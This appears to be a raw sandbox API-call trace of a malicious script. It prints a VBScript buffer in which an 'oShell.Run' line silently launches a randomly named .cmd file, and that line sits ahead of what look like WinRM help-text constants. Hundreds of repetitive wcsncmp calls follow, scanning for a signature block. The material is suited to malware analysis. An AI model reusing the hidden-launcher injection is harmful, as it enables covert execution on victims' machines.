7000\r\n\r\n\r\noShell.Run \"C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd\", 0, 0\r\nSet WshShell = Nothing\r\n\r\nprivate const L_HelpCertMapping_015_0_Message = \"If the client certificate matches the entry and it is enabled, the \"\r\nprivate const L_HelpCertMapping_016_0_Message = \"request is processed under the local account with the given username \"\r\n\r\nprivate const L_HelpCertMapping_017_0_Message = \"and password after ensuring that user has access to the resource as \"\r\nprivate const L_HelpCertMapping_018_0_Message = \"defined by the URI security table.\"\r\nprivate const L_HelpCertMapping_019_0_Message = \"\"\r\n\r\nprivate const L_HelpCertMapping_020_0_Message = \"When creating a new entry or changing the password of an existing entry, \"\r\nprivate const L_HelpCertMapping_021_0_Message = \"the -r switch must be used since the WinRM service must store the password\"\r\nprivate const L_HelpCertMapping_022_0_Message = \"for future use.\"\r\n\r\n\r\nprivate const L_HelpCertMappingExamples_001_0_Message = \"Example: To see the current CertMapping configuration\"\r\nprivate const X_HelpCertMappingExamples_002_0_Message = \" winrm enumerate winrm/config/service/CertMapping\"\r\n\r\nprivate const L_HelpCertMappingExamples_003_0_Message = \"Example: Create a CertMapping entry:\"\r\nprivate const X_HelpCertMappingExamples_004_0_Message = \" winrm create winrm/config/service/certmapping?Issuer=1212131238d84023982e381f20391a2935301923+Subject=*.example.com+URI=wmicimv2/* @{UserName=\"\"USERNAME\"\";Password=\"\"PASSWORD\"\"} -remote:localhost\"\r\nprivate const L_HelpCertMappingExamples_005_0_Message = \"\"\r\n\r\n'''''''''''''''''''''\r\n' HELP - CONFIGSDDL\r\nprivate const L_HelpConfigsddl_000_1_Message = \" winrm configsddl RESOURCE_URI\"\r\nprivate const L_HelpConfigsddl_001_0_Message = \"\"\r\nprivate const L_HelpConfigsddl_002_0_Message = \"Changes an existing entry in the plugin configuration to \"\r\nprivate const L_HelpConfigsddl_002_1_Message = \"control remote access to WinRM resources.\"\r\nprivate const L_HelpConfigsddl_003_0_Message = \"This command will fail if the plugin does not exist.\"\r\nprivate const L_HelpConfigsddl_004_0_Message = \"\"\r\nprivate const L_HelpConfigsddl_005_0_Message = \"This command will launch a GUI to edit the security settings.\"\r\nprivate const L_HelpConfigsddl_005_1_Message = \"\"\r\nprivate const L_HelpConfigsddl_006_0_Message = \"RESOURCE_URI is always treated as a prefix.\"\r\nprivate const L_HelpConfigsddl_010_0_Message = \"\"\r\nprivate const L_HelpConfigsddl_011_0_Message = \"To change the default security (the RootSDDL setting) use:\"\r\nprivate const X_HelpConfigsddl_012_0_Message = \" winrm configsddl default\"\r\n\r\n'''''''''''''''''''''\r\n' HELP - QUICKCONFIG\r\nprivate const X_HelpQuickConfig_001_0_Message = \"winrm quickconfig [-quiet] [-transport:VALUE] [-force]\"\r\nprivate const X_HelpQuickConfig_002_0_Message = \"\"\r\nprivate const L_HelpQuickConfig_003_0_Message = \"Performs configuration actions to enable this machine for remote management.\"\r\nprivate const L_HelpQuickConfig_004_0_Message = \"Includes:\"\r\nprivate const L_HelpQuickConfig_005_0_Message = \" 1. Start the WinRM service\"\r\nprivate const L_HelpQuickConfig_006_0_Message = \" 2. Set the WinRM service type to auto start\"\r\nprivate const L_HelpQuickConfig_007_0_Message = \" 3. Create a listener to accept request on any IP address\"\r\nprivate const L_HelpQuickConfig_008_0_Message = \" 4. Enable firewall exception for WS-Management traffic (for http only)\"\r\nprivate const X_HelpQuickConfig_009_0_Message = \"\"\r\nprivate const X_HelpQuickConfig_010_0_Message = \"-q[uiet]\"\r\nprivate const X_HelpQuickConfig_010_1_Message = \"--------\"\r\nprivate const L_HelpQuickConfig_011_0_Message = \"If present, quickconfig will not prompt for confirmation.\"\r\nprivate const X_HelpQuickConfig_012_0_Message = \"-transport:VALUE\"\r\nprivate const X_HelpQuickConfig_013_0_Message = \"----------------\"\r\nprivate const L_HelpQuickConfig_014_0_Message = \"Perform quickconfig for specific transport.\"\r\nprivate const L_HelpQuickConfig_015_0_Message = \"Possible options are http and https. Defaults to http.\"\r\nprivate const X_HelpQuickConfig_016_0_Message = \"-force\"\r\nprivate const X_HelpQuickConfig_017_0_Message = \"--------\"\r\nprivate const L_HelpQuickConfig_018_0_Message = \"If present, quickconfig will not prompt for confirmation, and will enable \"\r\nprivate const L_HelpQuickConfig_019_0_Message = \"the firewall exception regardless of current network profile settings.\"\r\n\r\n'''''''''''''''''''''\r\n' HELP - REMOTE\r\nprivate const L_HelpRemote_001_0_Message = \"winrm OPERATION -remote:VALUE [-unencrypted] [-usessl]\"\r\nprivate const L_HelpRemote_002_0_Message = \"\"\r\nprivate const L_HelpRemote_003_0_Message = \"-r[emote]:VALUE\"\r\nprivate const L_HelpRemote_004_0_Message = \"---------------\"\r\nprivate const L_HelpRemote_005_0_Message = \"Specifies identifier of remote endpoint/system. \"\r\nprivate const L_HelpRemote_006_0_Message = \"May be a simple host name or a complete URL.\"\r\nprivate const L_HelpRemote_007_0_Message = \"\"\r\nprivate const L_HelpRemote_008_0_Message = \" [TRANSPORT://]HOST[:PORT][/PREFIX]\"\r\nprivate const L_HelpRemote_009_0_Message = \"\"\r\nprivate const L_HelpRemote_010_0_Message = \"Transport: One of HTTP or HTTPS; default is HTTP.\"\r\nprivate const L_HelpRemote_011_0_Message = \"Host: Can be in the form of a DNS name, NetBIOS name, or IP address.\"\r\nprivate const L_HelpRemote_012_0_Message = \"Port: If port is not specified then the following default rules apply:\"\r\nprivate const L_HelpRemote_013_0_Message = \"Prefix: Defaults to wsman.\"\r\nprivate const L_HelpRemote_014_0_Message = \"\"\r\nprivate const L_HelpRemote_015_0_Message = \"Note: IPv6 addresses must be enclosed in brackets.\"\r\nprivate const L_HelpRemote_016_0_Message = \"Note: When using HTTPS, the machine name must match the server's certificate\"\r\nprivate const L_HelpRemote_017_0_Message = \" common name (CN) unless -skipCNcheck is used.\"\r\nprivate const L_HelpRemote_018_0_Message = \"Note: Defaults for port and prefix can be changed in the local configuration.\"\r\n\r\nprivate const L_HelpRemoteExample_001_0_Message = \"Example: Connect to srv.corp.com via http:\"\r\nprivate const X_HelpRemoteExample_002_0_Message = \" winrm get uri -r:srv.corp.com\"\r\nprivate const L_HelpRemoteExample_003_0_Message = \"\"\r\nprivate const L_HelpRemoteExample_004_0_Message = \"Example: Connect to local computer machine1 via https:\"\r\nprivate const X_HelpRemoteExample_005_0_Message = \" winrm get uri -r:https://machine1\"\r\nprivate const L_HelpRemoteExample_006_0_Message = \"\"\r\nprivate const L_HelpRemoteExample_007_0_Message = \"Example: Connect to an IPv6 machine via http:\"\r\nprivate const X_HelpRemoteExample_008_0_Message = \" winrm get uri -r:[1:2:3::8]\"\r\nprivate const L_HelpRemoteExample_009_0_Message = \"\"\r\nprivate const L_HelpRemoteExample_010_0_Message = \"Example: Connect to an IPv6 machine via https on a non-default port and URL:\"\r\nprivate const X_HelpRemoteExample_011_0_Message = \" winrm get uri -r:https://[1:2:3::8]:444/path\"\r\n\r\nprivate const L_HelpRemoteUnencrypted_001_0_Message = \"-un[encrypted]\"\r\nprivate const L_HelpRemoteUnencrypted_002_0_Message = \"--------------\"\r\nprivate const L_HelpRemoteUnencrypted_003_0_Message = \"Specifies that no encryption will be used when doing remote operations over\"\r\nprivate const L_HelpRemoteUnencrypted_004_0_Message = \"HTTP. Unencrypted traffic is not allowed by default and must be enabled in\"\r\nprivate const L_HelpRemoteUnencrypted_005_0_Message = \"the local configuration.\"\r\n\r\nprivate const L_HelpRemoteConfig_001_0_Message = \"To enable this machine to be remotely managed see:\"\r\n\r\n'''''''''''''''''''''\r\n' HELP - AUTH\r\nprivate const L_HelpAuth_001_0_Message = \"winrm OPERATION -remote:VALUE \"\r\nprivate const L_HelpAuth_002_0_Message = \" [-authentication:VALUE] \"\r\nprivate const L_HelpAuth_003_0_Message = \" [-username:USERNAME] \"\r\nprivate const L_HelpAuth_004_0_Message = \" [-password:PASSWORD]\"\r\nprivate const L_HelpAuth_004_1_Message = \" [-certificate:THUMBPRINT]\"\r\nprivate const L_HelpAuth_005_0_Message = \"\"\r\nprivate const L_HelpAuth_006_0_Message = \"When connecting remotely, you can specify which credentials and which\"\r\nprivate const L_HelpAuth_007_0_Message = \"authentication mechanisms to use. If none are specified the current \"\r\nprivate const L_HelpAuth_008_0_Message = \"logged-on user's credentials will be used.\"\r\n\r\nprivate const L_HelpAuthAuth_001_0_Message = \"-a[uthentication]:VALUE\"\r\nprivate const L_HelpAuthAuth_002_0_Message = \"-----------------------\"\r\nprivate const L_HelpAuthAuth_003_0_Message = \"Specifies authentication mechanism used when communicating with remote machine.\"\r\nprivate const L_HelpAuthAuth_004_0_Message = \"Possible options are None, Basic, Digest, Negotiate, Kerberos, CredSSP.\"\r\nprivate const L_HelpAuthAuth_004_1_Message = \"Possible options are None, Basic, Digest, Negotiate, Kerberos.\"\r\nprivate const L_HelpAuthAuth_005_0_Message = \"Examples:\"\r\nprivate const X_HelpAuthAuth_006_0_Message = \" -a:None\"\r\nprivate const X_HelpAuthAuth_007_0_Message = \" -a:Basic\"\r\nprivate const X_HelpAuthAuth_008_0_Message = \" -a:Digest\"\r\nprivate const X_HelpAuthAuth_009_0_Message = \" -a:Negotiate\"\r\nprivate const X_HelpAuthAuth_010_0_Message = \" -a:Kerberos\"\r\nprivate const X_HelpAuthAuth_010_1_Message = \" -a:Certificate\"\r\nprivate const X_HelpAuthAuth_010_2_Message = \" -a:CredSSP\"\r\nprivate const L_HelpAuthAuth_011_0_Message = \"Note: If an authentication mechanism is not specified, Kerberos is used unless\"\r\nprivate const L_HelpAuthAuth_012_0_Message = \" one of the conditions below is true, in which case Negotiate is used:\"\r\nprivate const L_HelpAuthAuth_013_0_Message = \" -explicit credentials are supplied and the destination host is trusted\"\r\nprivate const L_HelpAuthAuth_013_1_Message = \" -the destination host is \"\"localhost\"\", \"\"127.0.0.1\"\" or \"\"[::1]\"\"\"\r\nprivate const L_HelpAuthAuth_013_2_Message = \" -the client computer is in workgroup and the destination host is trusted\"\r\nprivate const L_HelpAuthAuth_014_0_Message = \"Note: Not all authentication mechanisms are enabled by default. ") returned 70045 [0147.715] realloc (_Block=0x249ca451760, _Size=0x2233a) returned 0x249ca451760 [0147.715] malloc (_Size=0x28) returned 0x249ca451280 [0147.718] free (_Block=0x249ca451760) [0147.718] free (_Block=0x249ca451280) [0147.718] free (_Block=0x249ca4515c0) [0147.718] free (_Block=0x249ca451640) [0147.718] free (_Block=0x249ca4515e0) [0147.718] free (_Block=0x249ca451740) [0147.719] free (_Block=0x249ca451670) [0147.720] CoUninitialize () [0147.720] free (_Block=0x249ca440080) [0147.720] CloseHandle (hObject=0x208) returned 1 [0147.720] wcsncmp (_String1=" 'If you fee", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.720] wcsncmp (_String1=" 'If you feel", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.720] wcsncmp (_String1=" 'If you feel ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.720] wcsncmp (_String1=" 'If you feel s", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.720] wcsncmp (_String1=" 'If you feel so", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.720] wcsncmp (_String1=" 'If you feel som", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.720] wcsncmp (_String1=" 'If you feel some", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.720] wcsncmp (_String1=" 'If you feel somet", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.720] wcsncmp (_String1=" 'If you feel someth", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.720] wcsncmp (_String1=" 'If you feel somethi", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.720] wcsncmp (_String1=" 'If you feel somethin", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.720] wcsncmp (_String1=" 'If you feel something", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.720] wcsncmp (_String1=" 'If you feel something ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.720] wcsncmp (_String1=" 'If you feel something i", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.720] wcsncmp (_String1=" 'If you feel something is", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.720] wcsncmp (_String1=" 'If you feel something is ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.720] wcsncmp (_String1=" 'If you feel something is ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.721] wcsncmp (_String1=" 'If you feel something is ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.721] wcsncmp (_String1=" 'If you feel something is ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.721] wcsncmp (_String1=" 'If you feel something is ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.721] wcsncmp (_String1=" 'If you feel something is ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.721] wcsncmp (_String1=" 'If you feel something is ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.721] wcsncmp (_String1="'If you feel something is ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 26 [0147.721] wcsncmp (_String1="If you feel something is ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 60 [0147.721] wcsncmp (_String1="f you feel something is ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 89 [0147.721] wcsncmp (_String1=" you feel something is ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.721] wcsncmp (_String1="you feel something is ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 108 [0147.721] wcsncmp (_String1="ou feel something is ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 98 [0147.721] wcsncmp (_String1="u feel something is ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 104 [0147.721] wcsncmp (_String1=" feel something is ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.721] wcsncmp (_String1="feel something is ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 89 [0147.721] wcsncmp (_String1="eel something is ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 88 [0147.721] wcsncmp (_String1="el something is ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 88 [0147.721] wcsncmp (_String1="l something is ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 95 [0147.721] wcsncmp (_String1=" something is ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.721] wcsncmp (_String1="something is ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 102 [0147.721] wcsncmp (_String1="omething is ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 98 [0147.721] wcsncmp (_String1="mething is ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 96 [0147.721] wcsncmp (_String1="ething is ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 88 [0147.721] wcsncmp (_String1="thing is ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 103 [0147.721] wcsncmp (_String1="hing is ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 91 [0147.721] wcsncmp (_String1="ing is ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 92 [0147.721] wcsncmp (_String1="ng is ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 97 [0147.721] wcsncmp (_String1="g is ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 90 [0147.721] wcsncmp (_String1=" is ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.721] wcsncmp (_String1="is ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 92 [0147.721] wcsncmp (_String1="s ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 102 [0147.721] wcsncmp (_String1=" ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.721] wcsncmp (_String1=" ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.721] wcsncmp (_String1=" ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.721] wcsncmp (_String1=" '", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.721] wcsncmp (_String1=" 'm", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.721] wcsncmp (_String1=" 'mi", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.722] wcsncmp (_String1=" 'mis", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.722] wcsncmp (_String1=" 'miss", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.722] wcsncmp (_String1=" 'missi", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.722] wcsncmp (_String1=" 'missin", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.722] wcsncmp (_String1=" 'missing", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.722] wcsncmp (_String1=" 'missing ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.722] wcsncmp (_String1=" 'missing t", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.722] wcsncmp (_String1=" 'missing th", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.722] wcsncmp (_String1=" 'missing tha", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.722] wcsncmp (_String1=" 'missing that", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.722] wcsncmp (_String1=" 'missing that ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.722] wcsncmp (_String1=" 'missing that s", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.722] wcsncmp (_String1=" 'missing that sh", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.722] wcsncmp (_String1=" 'missing that sho", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.722] wcsncmp (_String1=" 'missing that shou", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.722] wcsncmp (_String1=" 'missing that shoul", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.722] wcsncmp (_String1=" 'missing that should", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.722] wcsncmp (_String1=" 'missing that should ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.722] wcsncmp (_String1=" 'missing that should b", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.722] wcsncmp (_String1=" 'missing that should be", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.722] wcsncmp (_String1=" 'missing that should be ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.722] wcsncmp (_String1=" 'missing that should be h", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.722] wcsncmp (_String1=" 'missing that should be he", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.722] wcsncmp (_String1=" 'missing that should be her", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.722] wcsncmp (_String1=" 'missing that should be here", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.722] wcsncmp (_String1=" 'missing that should be here,", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.722] wcsncmp (_String1=" 'missing that should be here, ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.722] wcsncmp (_String1=" 'missing that should be here, c", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.722] wcsncmp (_String1=" 'missing that should be here, co", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.722] wcsncmp (_String1="'missing that should be here, con", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 26 [0147.722] wcsncmp (_String1="missing that should be here, cont", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 96 [0147.722] wcsncmp (_String1="issing that should be here, conta", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 92 [0147.722] wcsncmp (_String1="ssing that should be here, contac", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 102 [0147.722] wcsncmp (_String1="sing that should be here, contact", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 102 [0147.722] wcsncmp (_String1="ing that should be here, contact ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 92 [0147.722] wcsncmp (_String1="ng that should be here, contact u", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 97 [0147.723] wcsncmp (_String1="g that should be here, contact us", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 90 [0147.723] wcsncmp (_String1=" that should be here, contact us.", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.723] wcsncmp (_String1="that should be here, contact us. ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 103 [0147.723] wcsncmp (_String1="hat should be here, contact us. ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 91 [0147.723] wcsncmp (_String1="at should be here, contact us. ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 84 [0147.723] wcsncmp (_String1="t should be here, contact us. ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 103 [0147.723] wcsncmp (_String1=" should be here, contact us. ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.723] wcsncmp (_String1="should be here, contact us. ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 102 [0147.723] wcsncmp (_String1="hould be here, contact us. ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 91 [0147.723] wcsncmp (_String1="ould be here, contact us. ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 98 [0147.723] wcsncmp (_String1="uld be here, contact us. ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 104 [0147.723] wcsncmp (_String1="ld be here, contact us. ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 95 [0147.723] wcsncmp (_String1="d be here, contact us. ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 87 [0147.723] wcsncmp (_String1=" be here, contact us. ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.723] wcsncmp (_String1="be here, contact us. ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 85 [0147.723] wcsncmp (_String1="e here, contact us. ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 88 [0147.723] wcsncmp (_String1=" here, contact us. ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.723] wcsncmp (_String1="here, contact us. ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 91 [0147.723] wcsncmp (_String1="ere, contact us. ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 88 [0147.723] wcsncmp (_String1="re, contact us. ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 101 [0147.723] wcsncmp (_String1="e, contact us. ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 88 [0147.723] wcsncmp (_String1=", contact us. ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 31 [0147.723] wcsncmp (_String1=" contact us. ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.723] wcsncmp (_String1="contact us. ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 86 [0147.723] wcsncmp (_String1="ontact us. ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 98 [0147.723] wcsncmp (_String1="ntact us. ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 97 [0147.723] wcsncmp (_String1="tact us. ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 103 [0147.723] wcsncmp (_String1="act us. ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 84 [0147.723] wcsncmp (_String1="ct us. ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 86 [0147.723] wcsncmp (_String1="t us. ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 103 [0147.723] wcsncmp (_String1=" us. ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.723] wcsncmp (_String1="us. ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 104 [0147.723] wcsncmp (_String1="s. ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 102 [0147.724] wcsncmp (_String1=". ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 33 [0147.724] wcsncmp (_String1=" ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.724] wcsncmp (_String1=" ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.724] wcsncmp (_String1=" ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.724] wcsncmp (_String1=" ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.724] wcsncmp (_String1=" ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.724] wcsncmp (_String1=" ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.724] wcsncmp (_String1=" ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.724] wcsncmp (_String1=" ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.724] wcsncmp (_String1=" ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.724] wcsncmp (_String1=" ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.724] wcsncmp (_String1=" ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.724] wcsncmp (_String1=" ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.724] wcsncmp (_String1=" ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.724] wcsncmp (_String1=" ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.724] wcsncmp (_String1=" ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.724] wcsncmp (_String1=" ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.724] wcsncmp (_String1=" ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.724] wcsncmp (_String1=" ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.724] wcsncmp (_String1=" ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.724] wcsncmp (_String1=" ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.724] wcsncmp (_String1=" ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.724] wcsncmp (_String1=" '", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.724] wcsncmp (_String1=" 'I", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.724] wcsncmp (_String1=" 'If", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.724] wcsncmp (_String1=" 'If ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.724] wcsncmp (_String1=" 'If y", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.724] wcsncmp (_String1=" 'If yo", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.724] wcsncmp (_String1=" 'If you", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.725] wcsncmp (_String1=" 'If you ", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.725] wcsncmp (_String1=" 'If you f", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.725] wcsncmp (_String1=" 'If you fe", _String2="\r\n'' SIG '' Begin signature block", _MaxCount=0x21) returned 19 [0147.725] wcsncmp (_String1=" 'If you fee", _String2="\r\n'' SIG '' Begin signature block", 